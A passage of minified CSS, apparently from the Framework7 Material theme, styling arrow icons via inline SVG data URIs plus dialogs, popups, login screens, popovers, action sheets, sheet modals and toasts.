.icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-gray,.md a.link .color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-gray,.md a.link .color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-white,.md a.link .color-white .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-white,.md a.link .color-white .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-white,.md a.link .color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-white,.md a.link .color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-black,.md a.link .color-black .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-black,.md a.link .color-black .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-black,.md a.link .color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-black,.md a.link .color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon.color-red{color:#f44336}.md .icon.color-green{color:#4caf50}.md .icon.color-blue{color:#2196f3}.md .icon.color-pink{color:#e91e63}.md .icon.color-yellow{color:#ffeb3b}.md .icon.color-orange{color:#ff9800}.md .icon.color-gray{color:#9e9e9e}.md .icon.color-white{color:#fff}.md .icon.color-black{color:#000}.custom-modal-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.custom-modal-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.custom-modal-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog{position:absolute;z-index:13500;left:50%;margin-top:0;top:50%;overflow:hidden;opacity:0;-webkit-transform:translate3d(0,0,0) scale(1.185);transform:translate3d(0,0,0) scale(1.185);-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;display:none;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.dialog.modal-out{opacity:0;z-index:13499}.dialog.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-inner{position:relative}.dialog-title{font-weight:500}.dialog-buttons{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.dialog-buttons-vertical .dialog-buttons{display:block;height:auto!important}.dialog-no-buttons .dialog-buttons{display:none}.dialog-input-field{position:relative}.dialog-input-field .item-input-wrap{margin:0;padding:0}.dialog-input{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;margin-top:15px;border-radius:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;display:block;font-family:inherit;-webkit-box-shadow:none;box-shadow:none}html.with-modal-dialog .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.md .dialog{width:280px;margin-left:-140px;border-radius:4px;color:#757575;background:#fff;font-size:16px;-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12);box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)}.md .dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.md .dialog.modal-out{opacity:0;z-index:13499;-webkit-transform:translate3d(0,0,0) scale(.815);transform:translate3d(0,0,0) scale(.815)}.md .dialog-inner{padding:24px 24px 20px}.md .dialog-title{font-size:20px;color:#212121;line-height:1.3}.md .dialog-title+.dialog-text{margin-top:20px}.md .dialog-text{line-height:1.5}.md .dialog-buttons{height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .dialog-buttons-vertical .dialog-buttons{padding:0 0 8px 0}.md .dialog-buttons-vertical .dialog-buttons .dialog-button{margin-left:0;text-align:right;height:48px;line-height:48px;border-radius:0;padding-left:16px;padding-right:16px}.md .dialog-button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);letter-spacing:.03em;font-weight:500}input[type=button].md .dialog-button,input[type=submit].md .dialog-button{width:100%}.md .dialog-button.active-state{background:rgba(0,0,0,.1)}.md .dialog-button.dialog-button-bold{font-weight:700}.md .dialog-button+.dialog-button{margin-left:4px}.md .dialog-input{height:36px;padding:0;border:none;font-size:16px;-webkit-transition-duration:.2s;transition-duration:.2s;position:relative}.md .dialog-input::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::placeholder{color:rgba(0,0,0,.35)}.md .dialog-input+.dialog-input{margin-top:16px}.md .dialog-preloader .dialog-inner,.md .dialog-preloader .dialog-title,.md .dialog-progress .dialog-inner,.md .dialog-progress .dialog-title{text-align:center}.md .dialog-preloader .dialog-text~.preloader,.md .dialog-preloader .dialog-title~.preloader{margin-top:20px}.md .dialog-progress .dialog-text~.progressbar,.md .dialog-progress .dialog-text~.progressbar-infinite,.md .dialog-progress .dialog-title~.progressbar,.md .dialog-progress .dialog-title~.progressbar-infinite{margin-top:16px}.md .dialog-button.color-red{color:#f44336}.md .dialog-button.color-green{color:#4caf50}.md .dialog-button.color-blue{color:#2196f3}.md .dialog-button.color-pink{color:#e91e63}.md .dialog-button.color-yellow{color:#ffeb3b}.md .dialog-button.color-orange{color:#ff9800}.md .dialog-button.color-gray{color:#9e9e9e}.md .dialog-button.color-white{color:#fff}.md .dialog-button.color-black{color:#000}.popup-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.popup-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup-backdrop.backdrop-in{visibility:visible;opacity:1}.popup{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.popup.modal-in,.popup.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.popup.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:630px) and (min-height:630px){.popup:not(.popup-tablet-fullscreen){width:630px;height:630px;left:50%;top:50%;margin-left:-315px;margin-top:-315px;-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}.popup:not(.popup-tablet-fullscreen).modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup:not(.popup-tablet-fullscreen).modal-out{-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}}@media (max-width:629px),(max-height:629px){html.with-statusbar .popup-backdrop{z-index:9500}html.with-statusbar.device-ios .popup,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup{height:calc(100% - 24px);top:24px}}@media (min-width:630px),(min-height:630px){html.with-statusbar.device-ios .popup-tablet-fullscreen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup-tablet-fullscreen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup-tablet-fullscreen,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 24px);top:24px}}html.with-modal-popup .framework7-root>.panel .page-content,html.with-modal-popup .framework7-root>.view .page-content,html.with-modal-popup .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}@media (min-width:630px) and (min-height:630px){.md .popup:not(.popup-tablet-fullscreen){-webkit-box-shadow:0 20px 44px rgba(0,0,0,.5);box-shadow:0 20px 44px rgba(0,0,0,.5)}}.login-screen{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.login-screen.modal-in,.login-screen.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.login-screen.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.login-screen.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.login-screen.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}html.with-statusbar.device-ios .login-screen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .login-screen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .login-screen,html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 24px);top:24px}.login-screen-content{background:#fff}.login-screen-content .block,.login-screen-content .block-footer,.login-screen-content .block-header,.login-screen-content .list,.login-screen-content .login-screen-title{max-width:480px}.login-screen-content .list ul{background:0 0}.login-screen-content .list ul:before{display:none!important}.login-screen-content .list ul:after{display:none!important}.login-screen-content .block-footer,.login-screen-content .block-header{text-align:center;margin-left:auto;margin-right:auto}.login-screen-title{text-align:center}.md .login-screen-content .block,.md .login-screen-content .list,.md .login-screen-content .login-screen-title{margin:24px auto}.md .login-screen-content .list-button{text-align:center;color:#2196f3}.md .login-screen-title{font-size:34px}.login-screen-content.md .theme-dark,.md .theme-dark .login-screen-content{background:0 0}.md .color-theme-red .login-screen-content .list-button{color:#f44336}.md .color-theme-green .login-screen-content .list-button{color:#4caf50}.md .color-theme-blue .login-screen-content .list-button{color:#2196f3}.md .color-theme-pink .login-screen-content .list-button{color:#e91e63}.md .color-theme-yellow .login-screen-content .list-button{color:#ffeb3b}.md .color-theme-orange .login-screen-content .list-button{color:#ff9800}.md .color-theme-gray .login-screen-content .list-button{color:#9e9e9e}.md .color-theme-white .login-screen-content .list-button{color:#fff}.md .color-theme-black .login-screen-content .list-button{color:#000}.md .login-screen-content .list-button.color-red{color:#f44336}.md .login-screen-content .list-button.color-green{color:#4caf50}.md .login-screen-content .list-button.color-blue{color:#2196f3}.md .login-screen-content .list-button.color-pink{color:#e91e63}.md .login-screen-content .list-button.color-yellow{color:#ffeb3b}.md .login-screen-content .list-button.color-orange{color:#ff9800}.md .login-screen-content .list-button.color-gray{color:#9e9e9e}.md .login-screen-content .list-button.color-white{color:#fff}.md .login-screen-content .list-button.color-black{color:#000}.popover-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.popover-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-backdrop.backdrop-in{visibility:visible;opacity:1}.popover{width:260px;z-index:13500;margin:0;top:0;opacity:0;left:0;position:absolute;display:none;-webkit-transition-duration:.3s;transition-duration:.3s}.popover .list{margin:0}.popover .list ul{background:0 0}.popover .list:first-child ul:before{display:none!important}.popover .list:last-child ul:after{display:none!important}.popover.modal-in{opacity:1}.popover.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-inner{overflow:auto;-webkit-overflow-scrolling:touch}.popover-from-actions-bold{font-weight:600}.popover-from-actions-label{line-height:1.3;position:relative}.popover-from-actions-label:last-child:after{display:none!important}.md .popover{background:#fff;border-radius:4px;-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);-webkit-transform:scale(.85,.6);transform:scale(.85,.6);-webkit-transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,transform,border-radius;transition-property:opacity,transform,border-radius,-webkit-transform}.md .popover.modal-in{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.md .popover.modal-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.md .popover .list:first-child ul{border-radius:3px 3px 0 0}.md .popover .list:first-child li:first-child,.md .popover .list:first-child li:first-child a,.md .popover .list:first-child li:first-child>label{border-radius:3px 3px 0 0}.md .popover .list:last-child ul{border-radius:0 0 3px 3px}.md .popover .list:last-child li:last-child,.md .popover .list:last-child li:last-child a,.md .popover .list:last-child li:last-child>label{border-radius:0 0 3px 3px}.md .popover .list:first-child:last-child li:first-child:last-child,.md .popover .list:first-child:last-child li:first-child:last-child a,.md .popover .list:first-child:last-child li:first-child:last-child>label,.md .popover .list:first-child:last-child ul{border-radius:13px}.md .popover .list+.list{margin-top:35px}.md .popover-on-top{-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .popover-on-bottom{-webkit-transform-origin:center top;transform-origin:center top}.md .popover-from-actions .list{margin:0}.md .popover-from-actions .item-link i.icon{width:24px;height:24px;font-size:24px}.md .popover-from-actions-label{padding:8px 16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px}.md .popover-from-actions-label:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .popover{background-color:#202020}.md .theme-dark .popover-from-actions-label{color:rgba(255,255,255,.54)}.md .theme-dark .popover-from-actions-label:after{background-color:rgba(255,255,255,.08)}.actions-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.actions-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-backdrop.backdrop-in{visibility:visible;opacity:1}.actions-modal{position:absolute;left:0;bottom:0;z-index:13500;width:100%;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);display:none;max-height:100%;overflow:auto;-webkit-overflow-scrolling:touch;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.actions-modal.modal-in,.actions-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.actions-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-modal.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.actions-modal.modal-out{z-index:13499;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:496px){.actions-modal{width:480px;left:50%;margin-left:-240px}}.actions-group{position:relative}.actions-button,.actions-label{width:100%;font-weight:400;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative}.actions-button a,.actions-label a{text-decoration:none;color:inherit;display:block}.actions-button b,.actions-button.actions-button-bold,.actions-label b,.actions-label.actions-button-bold{font-weight:500}.actions-button{cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.actions-button-media{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-button-text{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.actions-label{line-height:1.3;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-grid .actions-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.actions-grid .actions-button{width:33.33333333%;display:block}.actions-grid .actions-button-media{margin-left:auto;margin-right:auto}.actions-grid .actions-button-text{margin-left:0!important;text-align:center}.md .actions-modal{background:#fff}.md .actions-group:last-child:after{display:none!important}.md .actions-group:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .actions-group:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .actions-group:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .actions-button,.md .actions-label{padding:0 16px}.md .actions-button{line-height:48px;font-size:16px;color:rgba(0,0,0,.87);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.md .actions-button,.md .actions-button a{position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.md .actions-button a.active-state,.md .actions-button.active-state{background:rgba(0,0,0,.1)}.md .actions-button-media{min-width:40px}.md .actions-button-media i.icon{width:24px;height:24px;font-size:24px}.md .actions-button-media+.actions-button-text{margin-left:16px}.md .actions-label{font-size:16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .actions-grid{padding:0}.md .actions-grid .actions-button-media{width:48px;height:48px}.md .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.md .actions-grid .actions-button{padding:16px;line-height:1}.md .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.md .actions-button.color-red,.md .actions-button.color-red .actions-button-text,.md .actions-label.color-red{color:#f44336}.md .actions-button.color-green,.md .actions-button.color-green .actions-button-text,.md .actions-label.color-green{color:#4caf50}.md .actions-button.color-blue,.md .actions-button.color-blue .actions-button-text,.md .actions-label.color-blue{color:#2196f3}.md .actions-button.color-pink,.md .actions-button.color-pink .actions-button-text,.md .actions-label.color-pink{color:#e91e63}.md .actions-button.color-yellow,.md .actions-button.color-yellow .actions-button-text,.md .actions-label.color-yellow{color:#ffeb3b}.md .actions-button.color-orange,.md .actions-button.color-orange .actions-button-text,.md .actions-label.color-orange{color:#ff9800}.md .actions-button.color-gray,.md .actions-button.color-gray .actions-button-text,.md .actions-label.color-gray{color:#9e9e9e}.md .actions-button.color-white,.md .actions-button.color-white .actions-button-text,.md .actions-label.color-white{color:#fff}.md .actions-button.color-black,.md .actions-button.color-black .actions-button-text,.md .actions-label.color-black{color:#000}.md.device-iphone-x .actions-modal.modal-in{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.sheet-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.sheet-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-backdrop.backdrop-in{visibility:visible;opacity:1}.sheet-modal{position:absolute;left:0;bottom:0;width:100%;height:260px;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:12500}.sheet-modal.modal-in,.sheet-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.sheet-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-modal.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.sheet-modal.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.sheet-modal .sheet-modal-inner{height:100%;position:relative;overflow:hidden}.sheet-modal .toolbar{position:relative;width:100%}.md .sheet-modal{background:#fff}.md .sheet-modal .toolbar{top:0}.md .sheet-modal .toolbar:after{display:none}.md .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 48px)}.md .sheet-modal .toolbar a.link:not(.tab-link){-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.sheet-modal-inner .page-content{padding-top:0}.md.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.md.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.md .theme-dark .sheet-modal{background-color:#202020}.toast{-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;position:absolute;max-width:568px;z-index:20000;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box}.toast.modal-in{opacity:1}.toast .toast-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.toast .toast-text{line-height:20px;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.toast .toast-button{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.toast.toast-with-icon .toast-content{display:block;text-align:center}.toast.toast-with-icon .toast-text{text-align:center}.toast.toast-with-icon .toast-icon .f7-icons{font-size:50px;width:50px;height:50px}.toast.toast-with-icon .toast-icon .material-icons{font-size:48px;width:48px;height:48px}.toast.toast-center{top:50%;opacity:0}@media (min-width:1024px){.toast{opacity:0}}html.with-statusbar.device-ios .toast-top,html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top{margin-top:20px}html.with-statusbar.device-iphone-x .toast-top{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}html.with-statusbar.device-android .toast-top,html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top{margin-top:24px}.md .toast{-webkit-transition-duration:.2s;transition-duration:.2s;border-radius:4px;background:#323232;opacity:0;left:8px;width:calc(100% - 16px);-webkit-transform:scale(.9);transform:scale(.9)}.md .toast.modal-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.md .toast.modal-out{-webkit-transform:scale(1);transform:scale(1);opacity:0}.md .toast.toast-center{left:50%;width:auto;background:rgba(0,0,0,.75);-webkit-transform:scale(.9) translate3d(-55%,-55%,0);transform:scale(.9) translate3d(-55%,-55%,0)}.md .toast.toast-center.modal-in{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-center.modal-out{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-bottom{bottom:8px}.md .toast.toast-top{top:8px}@media (min-width:584px){.md .toast{left:50%;margin-left:-284px}.md .toast.toast-center{margin-left:0}}@media (min-width:1024px){.md .toast{margin-left:0;width:auto}.md .toast.toast-bottom,.md .toast.toast-top{left:24px}.md .toast.toast-bottom{bottom:24px}.md .toast.toast-top{top:24px}}.md .toast-content{padding:14px 24px}.md 